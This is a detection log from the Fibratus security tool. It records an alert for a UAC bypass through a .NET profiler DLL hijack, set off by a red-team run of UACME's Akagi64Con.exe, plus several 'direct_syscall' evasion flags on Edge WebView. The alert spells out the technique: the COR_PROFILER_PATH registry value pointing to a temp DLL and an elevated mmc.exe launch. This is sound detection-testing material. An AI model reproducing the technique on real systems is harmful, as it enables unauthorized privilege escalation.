trace-log=>false sniff=>false healthcheck-timeout=>5s healthcheck-interval=>10s] eventlog=>[ enabled=>false level=>info] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty enabled=>true]] + pe ............................. [ read-resources=>false read-sections=>false excluded-images=>[svchost.exe] enabled=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ scan-timeout=>10s skip-registry=>false excluded-files=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-procs=>[] enabled=>false skip-allocs=>false skip-files=>false skip-mmaps=>false fastscan=>true] source=bootstrap/bootstrap.go:187 +time=2025-12-02T13:13:48+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-02T13:13:50+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-02T13:13:58+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 1182599 + Pid: 15420 + Tid: 17292 + Type: RegSetValue + CPU: 2 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-12-02 13:13:55.8877358 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handle➜ ffff9508c553a990, key_path➜ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, status➜ Success, value_type➜ REG_SZ + Metadata: rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 15420 + Ppid: 15544 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:9885a1e8-f49f-46fa-a45d-9d5c3a2701bb WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 1195077 + Pid: 15664 + Tid: 17040 + Type: CreateProcess + CPU: 0 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-12-02 13:13:57.1489844 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 3972f6000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808fc2d66080, name➜ cmd.exe, pid➜ 16780, ppid➜ 15664, real_ppid➜ 15664, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-02 13:13:57.1489237 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack + + Pid: 15664 + Ppid: 15420 + Name: mmc.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows\System32\mmc.exe" eventvwr.msc + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Exe: C:\Windows\System32\mmc.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows\System32\mmc.exe" eventvwr.msc] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-02T13:16:31+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 1401855 + Pid: 2880 + Tid: 6172 + Type: LoadImage + CPU: 1 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-12-02 13:16:30.0889722 +0100 CET + Params: base_address➜ 7fff70120000, checksum➜ 903222, default_address➜ 7fff70120000, file_path➜ C:\Windows\System32\OneCoreCommonProxyStub.dll, image_size➜ 823296, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 2880, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 2880 + Ppid: 10180 + Name: msedgewebview2.exe + Parent name: Widgets.exe + Cmdline: "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=Widgets.exe --webview-exe-version=525.31002.10.0 --user-data-dir="C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView" --noerrdialogs --disk-cache-size=52428800 --edge-webview-is-background --lang=en-US --mojo-named-platform-channel-pipe=10180.7888.5612976410328043299 /pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5 + Parent cmdline: "C:\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_525.31002.150.0_x64__cw5n1h2txyewy\Dashboard\Widgets.exe" -ServerName:Microsoft.Windows.DashboardServer + Exe: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe + Cwd: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=Widgets.exe --webview-exe-version=525.31002.10.0 --user-data-dir="C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView" --noerrdialogs --disk-cache-size=52428800 --edge-webview-is-background --lang=en-US --mojo-named-platform-channel-pipe=10180.7888.5612976410328043299 /pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:2880 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_2880_ARFMIOGUEXAMZGKJ EDGE_METRICS_CLIENT_ID_HASH:6092338358981505986 EDGE_METRICS_SESSION_ID:340 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"wpHXXpsNBmdIXiXmW9rewV/GUz46RhuaXpzglQtfG4I=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView EDGE_UX_CONFIG_CORRELATION_ID: EDGE_VARIATIONS_SEED_ETAG:"RKa0yZCvphvrLkeQXHzehWRDeynURWvoI0qYVZ6UVdk=" EDGE_WEBVIEW_PREFETCH_HOSTED_APP:/pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo IS_EDGE_WEBVIEW:1 JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff801b7b42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff801b7a74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff801b7b48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff801b8072258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff801b8071ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff801b80690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff801b80621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff801b806179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff801b7eb2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7fff54c91014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7fff54aa3640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7fff54aa3a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7fff955053db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7fff95504e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7fff955084cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7fff9550701d C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7fff95574294 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7fff955163a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7fff95516020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7fff9553fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7fff92dad29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7fff93c27a6d C:\Windows\System32\combase.dll!CoTaskMemFree|0x7fff93c2759f C:\Windows\System32\combase.dll!CoTaskMemFree|0x7fff93dab8a2 C:\Windows\System32\combase.dll!Ordinal225|0x7fff93dacc5c C:\Windows\System32\combase.dll!Ordinal225|0x7fff93dacd65 C:\Windows\System32\combase.dll!Ordinal225|0x7fff93da8fb6 C:\Windows\System32\combase.dll!CoGetInstanceFromIStorage|0x7fff93d44304 C:\Windows\System32\combase.dll!CStdAsyncStubBuffer_QueryInterface|0x7fff93c1b83b C:\Windows\System32\combase.dll!CoRegisterPSClsid|0x7fff93c1b77c C:\Windows\System32\combase.dll!CoRegisterPSClsid|0x7fff93c1a662 C:\Windows\System32\combase.dll!CoRegisterPSClsid|0x7fff93c1a279 C:\Windows\System32\combase.dll!CoRegisterPSClsid|0x7fff93ceff04 C:\Windows\System32\combase.dll!RoRegisterActivationFactories|0x7fff93d8717e C:\Windows\System32\combase.dll!Ordinal130|0x7fff93c477fb C:\Windows\System32\combase.dll!CoUnmarshalInterface|0x7fff93c462ed C:\Windows\System32\combase.dll!CoUnmarshalInterface|0x7fff93c98013 C:\Windows\System32\combase.dll!CoGetStandardMarshal|0x7fff93c5eef0 C:\Windows\System32\combase.dll!StringFromCLSID|0x7fff93bf74bd C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7fff93bf6e1f C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7fff6cee6338 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7fff6ceeaaa1 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7fff6ceea518 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7fff6cee4f14 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7fff6cf14a09 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7fff6cf13eab C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7fff6cf19580 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7fff6cf19469 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7fff6cf2fb8d C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7fff942eab76 C:\Windows\System32\SHCore.dll!Ordinal131|0x7fff942ea8aa C:\Windows\System32\SHCore.dll!Ordinal131|0x7fff942e9c47 C:\Windows\System32\SHCore.dll!Ordinal131|0x7fff948de8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7fff9558c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-02T13:16:31+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 1401899 + Pid: 2880 + Tid: 16020 + Type: LoadImage + CPU: 5 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-12-02 13:16:30.0965051 +0100 CET + Params: base_address➜ 7fff6a4f0000, checksum➜ 356647, default_address➜ 7fff6a4f0000, file_path➜ C:\Windows\System32\vaultcli.dll, image_size➜ 323584, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 2880, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 2880 + Ppid: 10180 + Name: msedgewebview2.exe + Parent name: Widgets.exe + Cmdline: "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=Widgets.exe --webview-exe-version=525.31002.10.0 --user-data-dir="C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView" --noerrdialogs --disk-cache-size=52428800 --edge-webview-is-background --lang=en-US --mojo-named-platform-channel-pipe=10180.7888.5612976410328043299 /pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5 + Parent cmdline: "C:\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_525.31002.150.0_x64__cw5n1h2txyewy\Dashboard\Widgets.exe" -ServerName:Microsoft.Windows.DashboardServer + Exe: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe + Cwd: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=Widgets.exe --webview-exe-version=525.31002.10.0 --user-data-dir="C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView" --noerrdialogs --disk-cache-size=52428800 --edge-webview-is-background --lang=en-US --mojo-named-platform-channel-pipe=10180.7888.5612976410328043299 /pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:2880 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_2880_ARFMIOGUEXAMZGKJ EDGE_METRICS_CLIENT_ID_HASH:6092338358981505986 EDGE_METRICS_SESSION_ID:340 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"wpHXXpsNBmdIXiXmW9rewV/GUz46RhuaXpzglQtfG4I=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView EDGE_UX_CONFIG_CORRELATION_ID: EDGE_VARIATIONS_SEED_ETAG:"RKa0yZCvphvrLkeQXHzehWRDeynURWvoI0qYVZ6UVdk=" 